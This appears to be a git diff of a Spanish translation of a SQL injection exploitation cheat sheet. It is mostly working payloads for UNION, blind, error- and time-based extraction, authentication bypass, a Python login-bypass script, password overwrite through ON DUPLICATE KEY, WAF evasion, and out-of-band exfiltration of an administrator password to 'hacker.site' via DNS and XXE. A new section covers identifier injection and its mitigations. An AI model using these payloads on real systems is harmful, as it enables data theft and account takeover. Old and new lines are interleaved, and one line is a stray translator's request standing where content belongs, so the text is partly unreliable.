Para determinar el número de columnas en una consulta, ajusta incrementalmente el número utilizado en las cláusulas **ORDER BY** o **GROUP BY** hasta que se reciba una respuesta falsa. A pesar de las distintas funcionalidades de **GROUP BY** y **ORDER BY** dentro de SQL, ambos pueden ser utilizados de manera idéntica para determinar el conteo de columnas de la consulta.
|
||||
Para determinar el número de columnas en una consulta, ajusta incrementalmente el número usado en las cláusulas **ORDER BY** o **GROUP BY** hasta que se reciba una respuesta falsa. A pesar de las funcionalidades distintas de **GROUP BY** y **ORDER BY** dentro de SQL, ambos pueden utilizarse idénticamente para averiguar el conteo de columnas de la consulta.
|
||||
```sql
|
||||
1' ORDER BY 1--+ #True
|
||||
1' ORDER BY 2--+ #True
|
||||
@ -251,17 +251,17 @@ Para determinar el número de columnas en una consulta, ajusta incrementalmente
|
||||
```
|
||||
#### UNION SELECT
|
||||
|
||||
Selecciona más y más valores nulos hasta que la consulta sea correcta:
|
||||
Selecciona más y más null values hasta que la query sea correcta:
|
||||
```sql
|
||||
1' UNION SELECT null-- - Not working
|
||||
1' UNION SELECT null,null-- - Not working
|
||||
1' UNION SELECT null,null,null-- - Worked
|
||||
```
|
||||
_Se deben usar valores `null` ya que en algunos casos el tipo de las columnas de ambos lados de la consulta debe ser el mismo y null es válido en todos los casos._
|
||||
_Debes usar `null` valores ya que en algunos casos el tipo de las columnas de ambos lados de la consulta debe ser el mismo y null es válido en todos los casos._
|
||||
|
||||
### Extraer nombres de bases de datos, nombres de tablas y nombres de columnas
|
||||
|
||||
En los siguientes ejemplos vamos a recuperar el nombre de todas las bases de datos, el nombre de la tabla de una base de datos, los nombres de las columnas de la tabla:
|
||||
En los próximos ejemplos vamos a recuperar el nombre de todas las bases de datos, el nombre de las tablas de una base de datos, los nombres de las columnas de la tabla:
|
||||
```sql
|
||||
#Database names
|
||||
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
|
||||
@ -272,67 +272,67 @@ En los siguientes ejemplos vamos a recuperar el nombre de todas las bases de dat
|
||||
#Column names
|
||||
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
|
||||
```
|
||||
_Hay una forma diferente de descubrir estos datos en cada base de datos diferente, pero siempre es la misma metodología._
|
||||
_Hay una forma distinta de descubrir estos datos en cada base de datos diferente, pero la metodología siempre es la misma._
|
||||
|
||||
## Explotando Inyección Basada en Unión Oculta
|
||||
## Exploiting Hidden Union Based
|
||||
|
||||
Cuando la salida de una consulta es visible, pero una inyección basada en unión parece inalcanzable, esto significa la presencia de una **inyección basada en unión oculta**. Este escenario a menudo conduce a una situación de inyección ciega. Para transformar una inyección ciega en una basada en unión, es necesario discernir la consulta de ejecución en el backend.
|
||||
Cuando la salida de una consulta es visible, pero una union-based injection parece inalcanzable, esto indica la presencia de una **hidden union-based injection**. Este escenario suele desembocar en una situación de blind injection. Para transformar una blind injection en una union-based, es necesario discernir la consulta que se ejecuta en el backend.
|
||||
|
||||
Esto se puede lograr mediante el uso de técnicas de inyección ciega junto con las tablas predeterminadas específicas de su Sistema de Gestión de Bases de Datos (DBMS) objetivo. Para entender estas tablas predeterminadas, se aconseja consultar la documentación del DBMS objetivo.
|
||||
Esto se puede lograr mediante el uso de blind injection techniques junto con las tablas por defecto específicas de tu DBMS. Para entender estas tablas por defecto, se recomienda consultar la documentación del DBMS objetivo.
|
||||
|
||||
Una vez que se ha extraído la consulta, es necesario adaptar su payload para cerrar de manera segura la consulta original. Posteriormente, se añade una consulta de unión a su payload, facilitando la explotación de la inyección basada en unión recién accesible.
|
||||
Una vez extraída la consulta, es necesario adaptar tu payload para cerrar de forma segura la consulta original. A continuación, se añade una union query a tu payload, lo que facilita la explotación de la union-based injection recién accesible.
|
||||
|
||||
Para obtener información más completa, consulte el artículo completo disponible en [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f).
|
||||
Para obtener más información, consulta el artículo completo en [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f).
|
||||
|
||||
## Explotando Basado en Errores
|
||||
## Exploiting Error based
|
||||
|
||||
Si por alguna razón **no puede** ver la **salida** de la **consulta** pero puede **ver los mensajes de error**, puede hacer que estos mensajes de error **exfiltren** datos de la base de datos.\
|
||||
Siguiendo un flujo similar al de la explotación basada en unión, podría lograr volcar la base de datos.
|
||||
Si por alguna razón **no puedes** ver la **salida** de la **consulta** pero sí puedes **ver los mensajes de error**, puedes hacer que estos mensajes de error **ex-filtrate** datos desde la base de datos.\
|
||||
Siguiendo un flujo similar al de la explotación Union Based, podrías conseguir dump the DB.
|
||||
```sql
|
||||
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
|
||||
```
|
||||
## Explotando Blind SQLi
|
||||
## Exploiting Blind SQLi
|
||||
|
||||
En este caso, no puedes ver los resultados de la consulta ni los errores, pero puedes **distinguir** cuando la consulta **devuelve** una respuesta **verdadera** o **falsa** porque hay diferentes contenidos en la página.\
|
||||
En este caso, puedes abusar de ese comportamiento para volcar la base de datos carácter por carácter:
|
||||
En este caso no puedes ver los resultados de la query ni los errores, pero puedes **distinguir** cuándo la query **devuelve** un **true** o un **false** porque hay contenidos diferentes en la página.\
|
||||
En este caso, puedes abusar de ese comportamiento para dump the database char by char:
|
||||
```sql
|
||||
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
|
||||
```
|
||||
## Explotación de Error Blind SQLi
|
||||
## Explotando Error Blind SQLi
|
||||
|
||||
Este es el **mismo caso que antes** pero en lugar de distinguir entre una respuesta verdadera/falsa de la consulta, puedes **distinguir entre** un **error** en la consulta SQL o no (quizás porque el servidor HTTP se bloquea). Por lo tanto, en este caso puedes forzar un SQLerror cada vez que adivinas correctamente el carácter:
|
||||
Este es el **mismo caso que antes** pero en lugar de distinguir entre una respuesta true/false de la consulta puedes **distinguir entre** un **error** en la consulta SQL o no (quizá porque el servidor HTTP se cae). Por lo tanto, en este caso puedes forzar un SQLerror cada vez que adivinas correctamente el carácter:
|
||||
```sql
|
||||
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
|
||||
```
|
||||
## Explotando SQLi Basado en Tiempo
|
||||
## Explotando Time Based SQLi
|
||||
|
||||
En este caso **no hay** ninguna manera de **distinguir** la **respuesta** de la consulta basada en el contexto de la página. Pero, puedes hacer que la página **tarde más en cargar** si el carácter adivinado es correcto. Ya hemos visto esta técnica en uso antes para [confirmar una vulnerabilidad SQLi](#confirming-with-timing).
|
||||
En este caso no **hay** ninguna forma de **distinguir** la **respuesta** de la consulta basándose en el contexto de la página. Pero, puedes hacer que la página **tarde más en cargar** si el carácter adivinado es correcto. Ya hemos visto esta técnica en uso antes para [confirm a SQLi vuln](#confirming-with-timing).
|
||||
```sql
|
||||
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
|
||||
```
|
||||
## Consultas Apiladas
|
||||
## Stacked Queries
|
||||
|
||||
Puedes usar consultas apiladas para **ejecutar múltiples consultas en sucesión**. Ten en cuenta que, aunque las consultas subsiguientes se ejecutan, los **resultados** **no se devuelven a la aplicación**. Por lo tanto, esta técnica es principalmente útil en relación con **vulnerabilidades ciegas** donde puedes usar una segunda consulta para activar una búsqueda DNS, un error condicional o un retraso de tiempo.
|
||||
Puedes usar stacked queries para **ejecutar múltiples consultas en sucesión**. Ten en cuenta que, aunque las consultas posteriores se ejecuten, los **resultados** **no se devuelven a la aplicación**. Por lo tanto, esta técnica es principalmente útil en relación con **blind vulnerabilities** donde puedes usar una segunda consulta para desencadenar una consulta DNS, un error condicional o un retardo temporal.
|
||||
|
||||
**Oracle** no soporta **consultas apiladas.** **MySQL, Microsoft** y **PostgreSQL** las soportan: `QUERY-1-HERE; QUERY-2-HERE`
|
||||
**Oracle** no soporta **stacked queries.** **MySQL, Microsoft** y **PostgreSQL** las soportan: `QUERY-1-HERE; QUERY-2-HERE`
|
||||
|
||||
## Explotación Fuera de Banda
|
||||
## Out of band Exploitation
|
||||
|
||||
Si **ningún otro** método de explotación **funcionó**, puedes intentar hacer que la **base de datos exfiltre** la información a un **host externo** controlado por ti. Por ejemplo, a través de consultas DNS:
|
||||
Si **ningún otro** método de explotación **funcionó**, puedes intentar que la **database ex-filtrate** la información a un **host externo** controlado por ti. Por ejemplo, mediante consultas DNS:
|
||||
```sql
|
||||
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
|
||||
```
|
||||
### Exfiltración de datos fuera de banda a través de XXE
|
||||
### Exfiltración de datos fuera de banda vía XXE
|
||||
```sql
|
||||
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
|
||||
```
|
||||
## Explotación Automatizada
|
||||
## Explotación automatizada
|
||||
|
||||
Consulta la [SQLMap Cheatsheet](sqlmap/index.html) para explotar una vulnerabilidad de SQLi con [**sqlmap**](https://github.com/sqlmapproject/sqlmap).
|
||||
Consulta la [SQLMap Cheatsheet](sqlmap/index.html) para explotar una vulnerabilidad SQLi con [**sqlmap**](https://github.com/sqlmapproject/sqlmap).
|
||||
|
||||
## Información técnica específica
|
||||
## Información específica por tecnología
|
||||
|
||||
Ya hemos discutido todas las formas de explotar una vulnerabilidad de SQL Injection. Encuentra algunos trucos más dependientes de la tecnología de base de datos en este libro:
|
||||
Ya hemos explicado todas las formas de explotar una vulnerabilidad SQL Injection. Encuentra más trucos dependientes de la tecnología de base de datos en este libro:
|
||||
|
||||
- [MS Access](ms-access-sql-injection.md)
|
||||
- [MSSQL](mssql-injection.md)
|
||||
@ -340,48 +340,48 @@ Ya hemos discutido todas las formas de explotar una vulnerabilidad de SQL Inject
|
||||
- [Oracle](oracle-injection.md)
|
||||
- [PostgreSQL](postgresql-injection/index.html)
|
||||
|
||||
O encontrarás **muchos trucos sobre: MySQL, PostgreSQL, Oracle, MSSQL, SQLite y HQL en** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
|
||||
O también encontrarás **muchos trucos sobre: MySQL, PostgreSQL, Oracle, MSSQL, SQLite y HQL en** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
|
||||
|
||||
## Bypass de autenticación
|
||||
## Authentication bypass
|
||||
|
||||
Lista para intentar eludir la funcionalidad de inicio de sesión:
|
||||
Lista para intentar un bypass de la funcionalidad de login:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../login-bypass/sql-login-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
### Bypass de autenticación de hash en bruto
|
||||
### Raw hash authentication Bypass
|
||||
```sql
|
||||
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
|
||||
```
|
||||
Esta consulta muestra una vulnerabilidad cuando se utiliza MD5 con verdadero para la salida en bruto en las verificaciones de autenticación, lo que hace que el sistema sea susceptible a inyecciones SQL. Los atacantes pueden explotar esto creando entradas que, al ser hasheadas, producen partes inesperadas de comandos SQL, lo que lleva a accesos no autorizados.
|
||||
Esta consulta muestra una vulnerabilidad cuando MD5 se usa con true para raw output en las comprobaciones de autenticación, lo que hace que el sistema sea susceptible a SQL injection. Los atacantes pueden explotarla creando entradas que, al ser hashadas, produzcan partes inesperadas de comandos SQL y permitan acceso no autorizado.
|
||||
```sql
|
||||
md5("ffifdyop", true) = 'or'6<>]<5D><>!r,<2C><>b<EFBFBD>
|
||||
sha1("3fDf ", true) = Q<>u'='<27>@<40>[<5B>t<EFBFBD>- o<><6F>_-!
|
||||
```
|
||||
### Bypass de autenticación por hash inyectado
|
||||
### Injected hash authentication Bypass
|
||||
```sql
|
||||
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
|
||||
```
|
||||
**Lista recomendada**:
|
||||
|
||||
Deberías usar como nombre de usuario cada línea de la lista y como contraseña siempre: _**Pass1234.**_\
|
||||
_(Estos payloads también están incluidos en la gran lista mencionada al principio de esta sección)_
|
||||
You should use as username each line of the list and as password always: _**Pass1234.**_\
|
||||
_(Estos payloads también están incluidos en la lista grande mencionada al principio de esta sección)_
|
||||
|
||||
{{#file}}
|
||||
sqli-hashbypass.txt
|
||||
{{#endfile}}
|
||||
|
||||
### Bypass de Autenticación GBK
|
||||
### GBK Authentication Bypass
|
||||
|
||||
SI ' está siendo escapado, puedes usar %A8%27, y cuando ' se escapa se creará: 0xA80x5c0x27 (_╘'_)
|
||||
Si ' está siendo escapado puedes usar %A8%27, y cuando ' se escape se generará: 0xA80x5c0x27 (_╘'_)
|
||||
```sql
|
||||
%A8%27 OR 1=1;-- 2
|
||||
%8C%A8%27 OR 1=1-- 2
|
||||
%bf' or 1=1 -- --
|
||||
```
|
||||
Script de Python:
|
||||
Python script:
|
||||
```python
|
||||
import requests
|
||||
url = "http://example.com/index.php"
|
||||
@ -390,57 +390,57 @@ datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
|
||||
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
|
||||
print r.text
|
||||
```
|
||||
### Inyección poliglota (multicontexto)
|
||||
### Polyglot injection (multicontexto)
|
||||
```sql
|
||||
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
|
||||
```
|
||||
## Insert Statement
|
||||
## Sentencia INSERT
|
||||
|
||||
### Modificar la contraseña de un objeto/usuario existente
|
||||
|
||||
Para hacerlo, debes intentar **crear un nuevo objeto llamado como el "objeto maestro"** (probablemente **admin** en el caso de usuarios) modificando algo:
|
||||
Para ello deberías intentar **crear un nuevo objeto con el mismo nombre que el "objeto maestro"** (probablemente **admin** en el caso de usuarios) modificando algo:
|
||||
|
||||
- Crear un usuario llamado: **AdMIn** (letras mayúsculas y minúsculas)
|
||||
- Crear usuario llamado: **AdMIn** (mayúsculas y minúsculas)
|
||||
- Crear un usuario llamado: **admin=**
|
||||
- **SQL Truncation Attack** (cuando hay algún tipo de **límite de longitud** en el nombre de usuario o correo electrónico) --> Crear un usuario con el nombre: **admin \[muchos espacios] a**
|
||||
- **SQL Truncation Attack** (cuando hay algún tipo de **límite de longitud** en el username o email) --> Crear usuario con nombre: **admin \[a lot of spaces] a**
|
||||
|
||||
#### SQL Truncation Attack
|
||||
|
||||
Si la base de datos es vulnerable y el número máximo de caracteres para el nombre de usuario es, por ejemplo, 30 y deseas suplantar al usuario **admin**, intenta crear un nombre de usuario llamado: "_admin \[30 espacios] a_" y cualquier contraseña.
|
||||
Si la base de datos es vulnerable y el número máximo de caracteres para el username es por ejemplo 30 y quieres suplantar al usuario **admin**, intenta crear un username llamado: "_admin \[30 spaces] a_" y cualquier password.
|
||||
|
||||
La base de datos **verificará** si el **nombre de usuario** introducido **existe** dentro de la base de datos. Si **no**, **cortará** el **nombre de usuario** al **número máximo permitido de caracteres** (en este caso a: "_admin \[25 espacios]_") y luego **eliminará automáticamente todos los espacios al final actualizando** dentro de la base de datos al usuario "**admin**" con la **nueva contraseña** (puede aparecer algún error, pero eso no significa que no haya funcionado).
|
||||
La base de datos va a **comprobar** si el **username** introducido **existe** dentro de la base de datos. Si **no**, va a **truncar** el **username** al **número máximo de caracteres permitido** (en este caso a: "_admin \[25 spaces]_") y luego **eliminará automáticamente todos los espacios finales actualizando** dentro de la base de datos el usuario "**admin**" con la **nueva contraseña** (puede aparecer algún error pero eso no significa que no haya funcionado).
|
||||
|
||||
Más información: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
|
||||
More info: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
|
||||
|
||||
_Note: Este ataque ya no funcionará como se describe arriba en las últimas instalaciones de MySQL. Si bien las comparaciones aún ignoran los espacios en blanco al final por defecto, intentar insertar una cadena que sea más larga que la longitud de un campo resultará en un error, y la inserción fallará. Para más información sobre esto:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)
|
||||
_Note: This attack will no longer work as described above in latest MySQL installations. While comparisons still ignore trailing whitespace by default, attempting to insert a string that is longer than the length of a field will result in an error, and the insertion will fail. For more information about about this check:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)
|
||||
|
||||
### Comprobación basada en el tiempo de inserción de MySQL
|
||||
### Comprobación basada en tiempo de MySQL INSERT
|
||||
|
||||
Agrega tantos `','',''` como consideres para salir de la declaración VALUES. Si se ejecuta un retraso, tienes una SQLInjection.
|
||||
Añade tantos `','',''` como consideres para salir de la cláusula VALUES. Si se ejecuta el delay, tienes una SQLInjection.
|
||||
```sql
|
||||
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
|
||||
```
|
||||
### ON DUPLICATE KEY UPDATE
|
||||
|
||||
La cláusula `ON DUPLICATE KEY UPDATE` en MySQL se utiliza para especificar acciones que la base de datos debe tomar cuando se intenta insertar una fila que resultaría en un valor duplicado en un índice UNIQUE o en la PRIMARY KEY. El siguiente ejemplo demuestra cómo se puede explotar esta función para modificar la contraseña de una cuenta de administrador:
|
||||
La cláusula `ON DUPLICATE KEY UPDATE` en MySQL se utiliza para especificar las acciones que la base de datos debe tomar cuando se intenta insertar una fila que resultaría en un valor duplicado en un UNIQUE index o PRIMARY KEY. El siguiente ejemplo demuestra cómo esta característica puede explotarse para modificar la contraseña de una cuenta de administrador:
|
||||
|
||||
Example Payload Injection:
|
||||
Ejemplo de Payload Injection:
|
||||
|
||||
Un payload de inyección podría ser elaborado de la siguiente manera, donde se intenta insertar dos filas en la tabla `users`. La primera fila es un señuelo, y la segunda fila apunta al correo electrónico de un administrador existente con la intención de actualizar la contraseña:
|
||||
Un payload de inyección podría confeccionarse de la siguiente manera, donde se intenta insertar dos filas en la tabla `users`. La primera fila es un señuelo, y la segunda fila apunta al email de un administrador existente con la intención de actualizar la contraseña:
|
||||
```sql
|
||||
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
|
||||
```
|
||||
Aquí está cómo funciona:
|
||||
Así es como funciona:
|
||||
|
||||
- La consulta intenta insertar dos filas: una para `generic_user@example.com` y otra para `admin_generic@example.com`.
|
||||
- Si la fila para `admin_generic@example.com` ya existe, la cláusula `ON DUPLICATE KEY UPDATE` se activa, instruyendo a MySQL para actualizar el campo `password` de la fila existente a "bcrypt_hash_of_newpassword".
|
||||
- En consecuencia, se puede intentar la autenticación utilizando `admin_generic@example.com` con la contraseña correspondiente al hash bcrypt ("bcrypt_hash_of_newpassword" representa el hash bcrypt de la nueva contraseña, que debe ser reemplazado por el hash real de la contraseña deseada).
|
||||
- Si la fila para `admin_generic@example.com` ya existe, se activa la cláusula `ON DUPLICATE KEY UPDATE`, indicando a MySQL que actualice el campo `password` de la fila existente a "bcrypt_hash_of_newpassword".
|
||||
- En consecuencia, se puede intentar la autenticación usando `admin_generic@example.com` con la contraseña correspondiente al hash bcrypt ("bcrypt_hash_of_newpassword" representa el hash bcrypt de la nueva contraseña, que debe reemplazarse por el hash real de la contraseña deseada).
|
||||
|
||||
### Extraer información
|
||||
|
||||
#### Creando 2 cuentas al mismo tiempo
|
||||
#### Crear 2 cuentas al mismo tiempo
|
||||
|
||||
Al intentar crear un nuevo usuario, se necesitan el nombre de usuario, la contraseña y el correo electrónico:
|
||||
Al intentar crear un nuevo usuario, se necesitan username, password y email:
|
||||
```
|
||||
SQLi payload:
|
||||
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -
|
||||
@ -455,7 +455,7 @@ Usando **hex2dec** y **substr**:
|
||||
```sql
|
||||
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
|
||||
```
|
||||
Para obtener el texto, puedes usar:
|
||||
Por favor pega aquí el contenido del archivo src/pentesting-web/sql-injection/README.md o indica cómo puedo recuperarlo; luego lo traduciré al español manteniendo la sintaxis markdown/html y las reglas que indicaste.
|
||||
```python
|
||||
__import__('binascii').unhexlify(hex(215573607263)[2:])
|
||||
```
|
||||
@ -468,22 +468,22 @@ Usando **hex** y **replace** (y **substr**):
|
||||
#Full ascii uppercase and lowercase replace:
|
||||
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
|
||||
```
|
||||
## Inyección SQL enrutada
|
||||
## Routed SQL injection
|
||||
|
||||
La inyección SQL enrutada es una situación en la que la consulta inyectable no es la que produce salida, sino que la salida de la consulta inyectable va a la consulta que produce salida. ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
|
||||
Routed SQL injection es una situación en la que la consulta inyectable no es la que devuelve la salida, sino que la salida de la consulta inyectable se pasa a la consulta que sí la devuelve. ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
|
||||
|
||||
Ejemplo:
|
||||
```
|
||||
#Hex of: -1' union select login,password from users-- a
|
||||
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a
|
||||
```
|
||||
## Bypass de WAF
|
||||
## WAF Bypass
|
||||
|
||||
[Bypasses iniciales desde aquí](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass)
|
||||
[Initial bypasses from here](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass)
|
||||
|
||||
### Bypass sin espacios
|
||||
### No spaces bypass
|
||||
|
||||
No Space (%20) - bypass utilizando alternativas de espacio en blanco
|
||||
No Space (%20) - bypass usando alternativas de espacios en blanco
|
||||
```sql
|
||||
?id=1%09and%091=1%09--
|
||||
?id=1%0Dand%0D1=1%0D--
|
||||
@ -492,31 +492,31 @@ No Space (%20) - bypass utilizando alternativas de espacio en blanco
|
||||
?id=1%0Aand%0A1=1%0A--
|
||||
?id=1%A0and%A01=1%A0--
|
||||
```
|
||||
No Whitespace - eludir usando comentarios
|
||||
No Whitespace - bypass usando comentarios
|
||||
```sql
|
||||
?id=1/*comment*/and/**/1=1/**/--
|
||||
```
|
||||
Sin espacios - eludir usando paréntesis
|
||||
No Whitespace - bypass usando paréntesis
|
||||
```sql
|
||||
?id=(1)and(1)=(1)--
|
||||
```
|
||||
### No commas bypass
|
||||
|
||||
No Comma - bypass utilizando OFFSET, FROM y JOIN
|
||||
No Comma - bypass usando OFFSET, FROM y JOIN
|
||||
```
|
||||
LIMIT 0,1 -> LIMIT 1 OFFSET 0
|
||||
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
|
||||
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
|
||||
```
|
||||
### Bypasses Genéricos
|
||||
### Evasiones genéricas
|
||||
|
||||
Blacklist usando palabras clave - bypass usando mayúsculas/minúsculas
|
||||
Lista negra usando palabras clave - evadir usando mayúsculas/minúsculas
|
||||
```sql
|
||||
?id=1 AND 1=1#
|
||||
?id=1 AnD 1=1#
|
||||
?id=1 aNd 1=1#
|
||||
```
|
||||
Lista negra usando palabras clave sin distinguir mayúsculas de minúsculas - eludir usando un operador equivalente
|
||||
Blacklist usando keywords sin distinguir mayúsculas - bypass usando un operador equivalente
|
||||
```
|
||||
AND -> && -> %26%26
|
||||
OR -> || -> %7C%7C
|
||||
@ -524,20 +524,20 @@ OR -> || -> %7C%7C
|
||||
> X -> not between 0 and X
|
||||
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))
|
||||
```
|
||||
### Bypass de WAF mediante Notación Científica
|
||||
### Bypass WAF con notación científica
|
||||
|
||||
Puedes encontrar una explicación más detallada de este truco en [gosecure blog](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).\
|
||||
Básicamente, puedes usar la notación científica de maneras inesperadas para el WAF para eludirlo:
|
||||
Básicamente puedes usar la notación científica de maneras inesperadas para el bypass del WAF:
|
||||
```
|
||||
-1' or 1.e(1) or '1'='1
|
||||
-1' or 1337.1337e1 or '1'='1
|
||||
' or 1.e('')=
|
||||
```
|
||||
### Bypass Column Names Restriction
|
||||
### Eludir la restricción de nombres de columnas
|
||||
|
||||
Primero que nada, ten en cuenta que si la **consulta original y la tabla de la que deseas extraer la bandera tienen la misma cantidad de columnas** puedes simplemente hacer: `0 UNION SELECT * FROM flag`
|
||||
Primero, ten en cuenta que si la **consulta original y la tabla de la que quieres extraer la flag tienen la misma cantidad de columnas** podrías simplemente hacer: `0 UNION SELECT * FROM flag`
|
||||
|
||||
Es posible **acceder a la tercera columna de una tabla sin usar su nombre** utilizando una consulta como la siguiente: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, así que en una sqlinjection esto se vería así:
|
||||
Es posible **acceder a la tercera columna de una tabla sin usar su nombre** usando una consulta como la siguiente: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, así que en un sqlinjection esto se vería así:
|
||||
```bash
|
||||
# This is an example with 3 columns that will extract the column number 3
|
||||
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
|
||||
@ -549,24 +549,54 @@ O usando un **comma bypass**:
|
||||
```
|
||||
Este truco fue tomado de [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/)
|
||||
|
||||
### Herramientas sugeridoras de bypass de WAF
|
||||
### Column/tablename injection in SELECT list via subqueries
|
||||
|
||||
Si la entrada del usuario se concatena en la lista SELECT o en los identificadores de table/column, prepared statements no ayudarán porque bind parameters solo protegen valores, no identificadores. Un patrón vulnerable común es:
|
||||
```php
|
||||
// Pseudocode
|
||||
$fieldname = $_REQUEST['fieldname']; // attacker-controlled
|
||||
$tablename = $modInstance->table_name; // sometimes also attacker-influenced
|
||||
$q = "SELECT $fieldname FROM $tablename WHERE id=?"; // id is the only bound param
|
||||
$stmt = $db->pquery($q, [$rec_id]);
|
||||
```
|
||||
Idea de explotación: inyectar una subconsulta en la posición del campo para exfiltrar datos arbitrarios:
|
||||
```sql
|
||||
-- Legit
|
||||
SELECT user_name FROM vte_users WHERE id=1;
|
||||
|
||||
-- Injected subquery to extract a sensitive value (e.g., password reset token)
|
||||
SELECT (SELECT token FROM vte_userauthtoken WHERE userid=1) FROM vte_users WHERE id=1;
|
||||
```
|
||||
Notas:
|
||||
- Esto funciona incluso cuando la WHERE clause utiliza un bound parameter, porque la identifier list sigue siendo string-concatenated.
|
||||
- Algunas stacks además permiten controlar el table name (tablename injection), habilitando cross-table reads.
|
||||
- Los Output sinks pueden reflejar el valor seleccionado en HTML/JSON, permitiendo XSS o token exfiltration directamente desde la respuesta.
|
||||
|
||||
Mitigaciones:
|
||||
- Nunca concatenes identifiers desde user input. Map allowed column names a una allow-list fija y quote identifiers correctamente.
|
||||
- Si se requiere acceso dinámico a tablas, restringe a un conjunto finito y resuélvelo server-side desde un mapeo seguro.
|
||||
|
||||
### WAF bypass suggester tools
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/m4ll0k/Atlas
|
||||
{{#endref}}
|
||||
|
||||
## Otras Guías
|
||||
## Otros guías
|
||||
|
||||
- [https://sqlwiki.netspi.com/](https://sqlwiki.netspi.com)
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
|
||||
|
||||
## Lista de Detección de Fuerza Bruta
|
||||
## Lista de detección de fuerza bruta
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt
|
||||
{{#endref}}
|
||||
|
||||
|
||||
## Referencias
|
||||
|
||||
